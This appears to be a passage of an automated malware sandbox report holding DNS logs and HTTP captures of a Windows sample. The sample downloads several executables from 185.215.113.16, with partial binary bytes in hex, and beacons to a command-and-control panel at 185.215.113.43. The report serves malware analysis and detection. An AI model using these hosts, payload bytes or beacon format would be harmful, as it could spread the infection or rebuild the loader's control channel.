Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		172.217.23.110	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		216.58.206.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.185.142	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.185.238	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.185.174	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.952148914 CET	1.1.1.1	192.168.2.4	0x5eb8	No error (0)	youtube-ui.l.google.com		142.250.185.78	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.960999966 CET	1.1.1.1	192.168.2.4	0x68cb	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.960999966 CET	1.1.1.1	192.168.2.4	0x68cb	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.960999966 CET	1.1.1.1	192.168.2.4	0x68cb	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.960999966 CET	1.1.1.1	192.168.2.4	0x68cb	No error (0)	youtube-ui.l.google.com			28	IN (0x0001)	false
Oct 31, 2024 04:16:58.986102104 CET	1.1.1.1	192.168.2.4	0x704c	Name error (3)	presticitpo.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:58.997665882 CET	1.1.1.1	192.168.2.4	0xb7e1	Name error (3)	crisiwarny.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:59.007765055 CET	1.1.1.1	192.168.2.4	0x9590	Name error (3)	fadehairucw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:16:59.031409979 CET	1.1.1.1	192.168.2.4	0xcaff	Name error (3)	thumbystriw.store	none	none	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:21.178234100 CET	1.1.1.1	192.168.2.4	0xe0e2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:17:21.178234100 CET	1.1.1.1	192.168.2.4	0xe0e2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:21.178265095 CET	1.1.1.1	192.168.2.4	0xe0e2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:17:21.178265095 CET	1.1.1.1	192.168.2.4	0xe0e2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:21.420481920 CET	1.1.1.1	192.168.2.4	0x824e	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:22.103769064 CET	1.1.1.1	192.168.2.4	0x30e2	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:17:22.103769064 CET	1.1.1.1	192.168.2.4	0x30e2	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:22.154630899 CET	1.1.1.1	192.168.2.4	0x7a91	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:25.183504105 CET	1.1.1.1	192.168.2.4	0x1220	No error (0)	www.facebook.com	star-mini.c10r.facebook.com		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:17:25.183504105 CET	1.1.1.1	192.168.2.4	0x1220	No error (0)	star-mini.c10r.facebook.com		157.240.251.35	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:42.138003111 CET	1.1.1.1	192.168.2.4	0xb3af	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:50.152343035 CET	1.1.1.1	192.168.2.4	0xabfc	No error (0)	balrog-aus5.r53-2.services.mozilla.com	prod.balrog.prod.cloudops.mozgcp.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:17:50.152343035 CET	1.1.1.1	192.168.2.4	0xabfc	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:17:50.181230068 CET	1.1.1.1	192.168.2.4	0x36a6	No error (0)	prod.balrog.prod.cloudops.mozgcp.net		35.244.181.201	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:03.545849085 CET	1.1.1.1	192.168.2.4	0xcb03	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:04.187079906 CET	1.1.1.1	192.168.2.4	0xdecb	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net			28	IN (0x0001)	false
Oct 31, 2024 04:18:20.964076042 CET	1.1.1.1	192.168.2.4	0x3783	No error (0)	telemetry-incoming.r53-2.services.mozilla.com		34.120.208.123	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:21.603192091 CET	1.1.1.1	192.168.2.4	0xffd0	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:18:21.603192091 CET	1.1.1.1	192.168.2.4	0xffd0	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:44.304218054 CET	1.1.1.1	192.168.2.4	0x72d	No error (0)	push.services.mozilla.com		34.107.243.93	A (IP address)	IN (0x0001)	false
Oct 31, 2024 04:18:44.931826115 CET	1.1.1.1	192.168.2.4	0xddd8	No error (0)	detectportal.firefox.com	detectportal.prod.mozaws.net		CNAME (Canonical name)	IN (0x0001)	false
Oct 31, 2024 04:18:44.931826115 CET	1.1.1.1	192.168.2.4	0xddd8	No error (0)	prod.detectportal.prod.cloudops.mozgcp.net		34.107.221.82	A (IP address)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49738	185.215.113.16	80	7492	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:15:09.547492027 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:15:10.787050962 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:15:10 GMT Content-Type: application/octet-stream Content-Length: 2809344 Last-Modified: Thu, 31 Oct 2024 02:58:51 GMT Connection: keep-alive ETag: "6722f26b-2ade00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 40 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 2b 00 00 04 00 00 26 04 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$@+ `@ +&+`Ui` @ @.rsrc`2@.idata 8@ucxgvins\|:@nulvttal +@.taggant@@+"@
Oct 31, 2024 04:15:10.787071943 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787182093 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787266970 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787278891 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787420034 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787437916 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787448883 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:15:10.787461996 CET	1236	IN	Data Raw: 72 bd 06 c3 44 a9 fa cf 4f ec 10 27 fd d5 3d 5c 22 f2 9a 38 2f de 02 19 8b 0b f6 bb 58 39 1a 0d d3 fd e0 c9 61 ed e1 e6 10 d2 ff 82 2f cb f9 54 36 09 34 ba 65 54 72 d1 74 88 61 65 59 05 da ca 69 0f f8 2e 81 d0 d4 cc 53 10 d1 fb f3 6b 16 81 90 e6 Data Ascii: rDO'=\"8/X9a/T64eTrtaeYi.Sk_Qjt)^YJ\<eoT$MT!-sF:DXNPqMm\h=l2}8qu@}Td}:
Oct 31, 2024 04:15:10.787730932 CET	1236	IN	Data Raw: 68 a7 0c 0d 50 2b c2 a4 b3 55 0e 15 20 b6 3f df b8 ae 3b 82 b9 2a 39 b5 d7 b5 e3 b8 55 88 33 bf 94 92 2b 6f 07 ea 23 d0 ab 85 f5 be 75 e6 7a 3f 80 12 57 33 d3 b6 0c d8 69 70 81 eb 2e 3b 0e e8 4f 3f d1 6f 2f c3 e9 7f f1 d6 73 d6 90 0d c7 8e 59 a3 Data Ascii: hP+U ?;9U3+o#uz?W3ip.;O?o/sYr=2Z;*XQ?rg}LdTo~U_VOVC>9X)D^JM6~bhkMSQu
Oct 31, 2024 04:15:10.791999102 CET	1236	IN	Data Raw: 76 15 a1 c8 db 35 d2 25 78 a7 72 8f fa dd ef a6 c4 8b 8e aa 75 b8 23 80 37 c0 08 d8 3f 4a 7e 9a 5f e0 5f 74 e7 b7 c9 f5 d9 2f d8 f8 8d e0 45 cb 77 e0 ce bb 0e 2d c1 a4 38 d6 ea 70 9f 48 79 a8 c4 5a d6 ea ce 9c fd db ad 21 62 b5 ee 0d 8e 41 3e c5 Data Ascii: v5%xru#7?J~__t/Ew-8pHyZ!bA>*RU.x]{^V@SaSxmi]DY3qE9sZQqu!.i8^3L$c_Z IzuUbb]]}gsfz_r
Oct 31, 2024 04:15:14.732039928 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 04:15:15.085705996 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:15:14 GMT Content-Type: application/octet-stream Content-Length: 1873920 Last-Modified: Thu, 31 Oct 2024 03:03:32 GMT Connection: keep-alive ETag: "6722f384-1c9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 b2 46 1b 42 da 43 1a 36 b7 47 1b f1 da 43 1a 36 b7 40 1b f5 da 43 1a 36 b7 46 1b 96 da 43 1a b8 b2 47 1b f7 da 43 1a b8 b2 42 1b f0 da 43 1a e3 da 42 1a 35 da 43 1a 78 b4 4a 1b e2 da 43 1a 78 b4 bc 1a e2 da 43 1a 78 b4 41 1b e2 da 43 1a 52 69 63 68 e3 da 43 1a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 9c 56 f0 66 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 18 00 ea 04 00 00 9a 01 00 00 00 00 00 00 40 4a 00 00 10 00 00 00 00 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$-ICCC@CFBC6GC6@C6FCGCBCB5CxJCxCxACRichCPELVf@J@pJ@Wkl'J'J @.rsrc@.idata @ *@bleglpjp0\|@ozncbdew0Jr@.taggant0@J"v@

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49792	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:04.336805105 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 04:16:05.236510992 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49808	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:06.757493973 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 39 42 31 32 42 37 35 42 33 35 46 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A79B12B75B35F82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 04:16:07.674863100 CET	554	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 31 36 62 0d 0a 20 3c 63 3e 31 30 30 32 37 37 36 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 65 37 65 37 62 39 63 61 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 37 37 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 38 65 36 62 31 63 61 37 32 64 64 35 33 34 64 62 30 35 37 65 62 34 31 30 61 34 39 34 64 39 64 23 31 30 30 32 37 37 38 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 65 38 66 63 66 37 62 38 63 37 33 30 38 30 34 30 34 32 62 61 35 63 65 39 30 32 34 31 35 34 35 30 23 31 30 30 32 37 37 39 30 30 31 2b 2b 2b 66 63 38 66 37 63 31 65 64 33 63 30 66 39 63 33 30 62 34 62 61 65 64 37 34 63 36 31 33 39 35 64 37 66 61 63 30 30 62 35 38 39 38 37 [TRUNCATED] Data Ascii: 16b <c>1002776001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8e7e7b9ca30804042ba5ce902415450#1002777001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8f8e6b1ca72dd534db057eb410a494d9d#1002778001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fcf7b8c730804042ba5ce902415450#1002779001+++fc8f7c1ed3c0f9c30b4baed74c61395d7fac00b58987e8fff7a7df309c5441f056fc49#<d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.4	49814	185.215.113.16	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:07.683387995 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Oct 31, 2024 04:16:08.599526882 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:08 GMT Content-Type: application/octet-stream Content-Length: 3003904 Last-Modified: Thu, 31 Oct 2024 03:03:12 GMT Connection: keep-alive ETag: "6722f370-2dd600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 53 d3 15 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 4a 04 00 00 d6 00 00 00 00 00 00 00 e0 30 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 10 31 00 00 04 00 00 aa 22 2e 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 a0 05 00 68 00 00 00 00 90 05 00 40 03 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 a1 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PELSgJ0@1".@Th@ ~@.rsrc@@.idata @pfboyhbl ++@mirdfaun0-@.taggant00"-@
Oct 31, 2024 04:16:08.599548101 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:08.599564075 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:08.599576950 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:08.599616051 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 04:16:08.599633932 CET	1236	IN	Data Raw: cd d3 30 06 1d d4 4f a8 a1 95 82 6f a3 1e e5 71 cd a6 25 4b c5 4a 8f ba b2 a6 45 20 61 fa 0c 8e 5d 91 53 8e ba 0e 0e 61 c2 99 35 7d bb a0 ed 83 b7 b5 0b f7 c5 98 2d ff 79 38 b4 f2 f4 8d 9b 7d d7 1b 93 0c 47 83 49 0d f8 b2 a2 95 73 f3 1d 47 89 17 Data Ascii: 0Ooq%KJE a]Sa5}-y8}GIsGAu#/ KE^7}!T ".d-oto-Mp:_\|kN&O7M;}y!sJ;+waR#PiS$CnF(a[Ja
Oct 31, 2024 04:16:08.599648952 CET	1236	IN	Data Raw: 4d b0 5d 52 6f fb ce e4 ac dc 32 8a 2d 29 a2 a8 6b 8b 41 e8 30 8c 81 0a af b7 51 4d 18 4d 23 1d d5 ac 1d 68 f4 96 0f 45 61 1e c6 7c b3 8d 61 1d ba 2c 8f 20 bb 8b 46 a3 ad 05 70 be 9b a9 80 c1 01 a5 eb 8a 2e c1 57 6f bc 97 4e 0c 87 03 c7 2d f7 d9 Data Ascii: M]Ro2-)kA0QMM#hEa\|a, Fp.WoN-.BbYGZE/0Vu+v00<JGLlv.zlw\|.NE@oa<#tt"&IZ#zm %+K&
Oct 31, 2024 04:16:08.599666119 CET	1236	IN	Data Raw: 41 ce 8c df ed 2e 97 ca ba 7c ec 22 6d c2 ad b5 a0 f2 3d 89 33 d1 62 82 7d c1 25 74 7d dd b9 f2 37 67 77 3e 9d c4 aa c0 3e 00 40 8f 60 16 25 dd 6e db 51 53 a0 0e ba 1d ef 0f 5f d2 69 6b 23 c0 c4 ab b7 b0 f5 aa 46 c8 79 9e 3e f3 40 c8 b2 c9 3a 47 Data Ascii: A.\|"m=3b}%t}7gw>>@`%nQS_ik#Fy>@:Gq8U\ksnhNp#I,!LA1+jE?oEx$!`S`5Dio"wLdLncO90"}$\4~OI
Oct 31, 2024 04:16:08.599723101 CET	1236	IN	Data Raw: 65 6d 2a 2f 84 b7 8d 24 a5 8b 40 58 2c 9d 49 dc 87 80 d2 97 cb e1 9a 9f 2b 75 c8 44 87 fd 06 b6 fb de f5 c6 1b 39 d1 81 62 da ea 7c f2 bf f2 89 a8 48 fe 5b 99 29 57 d1 eb 95 73 8f cb 9c 65 a7 c4 b0 b7 ee fa ab 5e 36 b6 17 0b f0 39 67 75 df 67 83 Data Ascii: em*/$@X,I+uD9b\|H[)Wse^69gugZSA\|Ip#b=Y&Iz!E9{>+a+}:ZOF\#":!Kzsj}6V-,G"kW5ruH%!O\)\5".L\|)<~n
Oct 31, 2024 04:16:08.599740028 CET	1236	IN	Data Raw: 0e fb 8d 88 5f 27 6f 3e 86 49 c2 73 36 ab da 24 50 cc 28 f0 37 54 55 33 39 5b fc 4b 31 c9 93 1b 34 bf fc 9c c3 94 b7 8f 7e 1f de cf 33 7c 66 64 2b ff 22 93 25 04 65 8f 86 0d fd 69 8b c4 91 b5 1e bb 31 b9 cf bd 31 df df f1 cd 31 8f 6e 6f 99 0d d7 Data Ascii: _'o>Is6$P(7TU39[K14~3\|fd+"%ei111noocs-HH'x56{`Fjv:<R4peEbf}/HMdg<}\|;39[D'J%Q#9TwbLuk~CDwFvNh}k7us6VN
Oct 31, 2024 04:16:08.604537010 CET	1236	IN	Data Raw: 30 cb 40 08 74 97 8c 11 35 77 15 a8 9a 0b d9 2e ad 63 7f 7b bc 1b 79 81 bb 2e 53 8b c6 9a 2b 90 4a 84 81 9f 28 39 67 fa 13 3e 4e 69 e0 c3 16 05 e5 16 2a 35 4e 3e 71 46 ad 8d 46 3f 86 40 1d 7e 96 9a 7f 51 fa 3d cd 92 c8 b8 67 84 ae 4b 65 d5 0a 65 Data Ascii: 0@t5w.c{y.S+J(9g>Ni5N>qFF?@~Q=gKee2KeGdNe\|w'?Pz}iq{`^ME]EjQW%p>+[b;Zys:'3a]RrSm>)wssNE?/Uy~0qUS`/F]!r#M] i}^AE

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.4	49842	185.215.113.43	80	928	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 04:16:12.991470098 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 32 37 37 36 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1002776001&unit=246122658369
Oct 31, 2024 04:16:13.888664961 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 03:16:13 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
